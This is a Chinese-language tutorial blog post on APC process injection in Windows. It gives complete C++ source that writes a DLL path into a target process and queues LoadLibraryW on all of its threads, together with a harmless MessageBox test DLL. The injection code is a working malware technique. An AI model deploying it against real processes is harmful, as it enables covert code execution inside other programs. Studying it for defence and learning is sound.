第五章 进程注入之APC注入(附源码)

前言

APC注入可以让一个线程在它正常的执行路径运行之前执行一些其他的代码,每一个线程都有一个附加的APC队列,他们在线程处于可警告的时候才被处理;如果程序在线程可警告等待状态时候排入一个APC队列,那么线程将开始执行APC函数,恶意代码则可以设置APC函数抢占可警告等待状态的线程。

函数介绍

QueueUserAPC函数

把一个APC对象加入到指定线程的APC队列中。

语法
DWORD QueueUserAPC(
  [in] PAPCFUNC  pfnAPC,
  [in] HANDLE    hThread,
  [in] ULONG_PTR dwData
);
参数

[in] pfnAPC

指向应用程序提供的APC函数的指针。

[in] hThread

线程的句柄。

[in] dwData

传递给pfnAPC参数指向的APC函数的单个值。

返回值

如果函数成功,则返回值非零。

如果函数失败,则返回值为零。

示例

程序代码

//

#include <string>
#include <windows.h>
#include <shlwapi.h>
#include <tlhelp32.h>
#include <winternl.h>
#pragma comment(lib, "shlwapi.lib")
#pragma comment(lib,"ntdll.lib")

using namespace std;

//根据进程名字获取pid
DWORD GetPidFromName(wstring wsProcessName) {
	HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
	if (hSnapshot == INVALID_HANDLE_VALUE) {
		return FALSE;
	}
	PROCESSENTRY32W pe = { sizeof(pe) };
	BOOL bOk;
	for (bOk = Process32FirstW(hSnapshot, &pe); bOk; bOk = Process32NextW(hSnapshot, &pe)) {
		wstring  wsNowProcName = pe.szExeFile;
		if (StrStrI(wsNowProcName.c_str(), wsProcessName.c_str()) != NULL) {
			CloseHandle(hSnapshot);
			return pe.th32ProcessID;
		}
	}
	CloseHandle(hSnapshot);
	return 0;
}
//把wcCacheInDllPath DLL文件注入进程wsProcessName
BOOL Injection_APC(const wstring& wsProcessName, const WCHAR wcCacheInDllPath[]) {

	DWORD dwProcessId = GetPidFromName(wsProcessName);
	HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwProcessId);
	
	PVOID  lpData = VirtualAllocEx(hProcess,
		NULL,
		1024,
		MEM_COMMIT,
		PAGE_EXECUTE_READWRITE);
	DWORD dwRet;

		//在远程进程申请空间中写入待注入DLL的路径  
	WriteProcessMemory(hProcess,
		lpData,
		(LPVOID)wcCacheInDllPath,
		MAX_PATH, NULL);

	CloseHandle(hProcess);
	//开始注入
	THREADENTRY32 te = { sizeof(THREADENTRY32) };
	//得到线程快照  
	HANDLE handleSnap = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);

	BOOL bStat = FALSE;
	//得到第一个线程  
	if (Thread32First(handleSnap, &te)) {
		do {  
            //进行进程ID对比  
			if (te.th32OwnerProcessID == dwProcessId) {
				//得到线程句柄  
				HANDLE handleThread = OpenThread(THREAD_ALL_ACCESS, FALSE, te.th32ThreadID);
				if (handleThread) {  
                    //向线程插入APC  
					DWORD dwRet = QueueUserAPC(
						(PAPCFUNC)LoadLibraryW,
						handleThread,
						(ULONG_PTR)lpData);
					if (dwRet > 0) {
						bStat = TRUE;
					}
					//关闭句柄  
					CloseHandle(handleThread);
				}
			} 
		}
        //循环下一个线程 
        while (Thread32Next(handleSnap, &te));
	}
	CloseHandle(handleSnap);
	return bStat;
}


int main(int argc, char* argv[]) {
	Injection_APC(L"calc.exe", L"C:\\Users\\Administrator\\Desktop\\messagebox.dll");
	return 0;
}

DLL代码

// dllmain.cpp : 定义 DLL 应用程序的入口点。
#include "pch.h"

BOOL APIENTRY DllMain( HMODULE hModule,
                       DWORD  ul_reason_for_call,
                       LPVOID lpReserved
                     )
{
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
//        Sleep(1000000);
        MessageBox(NULL, L"TIPS", L"TEST", NULL);
        break;
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}

测试

选择calc.exe作为被注入的进程:

注入DLL文件为“C:\Users\Administrator\Desktop\messagebox.dll”:

image-20211130221456395

执行程序生成EXE

image-20211130221829523

使用ProcessExplorer查看进程:

image-20211130222432247

原理学习

windows系统中没个线程都会维护一个线程的APC队列,通过QueueUserAPC函数把一个APC函数添加到指定线程的APC队列。

一个进程包含多个线程,为了确保能执行插入的APC,向目标进程的所有线程都插入,加载DLL的操作;只要唤醒进程的任意线程,开始执行APC,就会执行插入的DLL内容。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值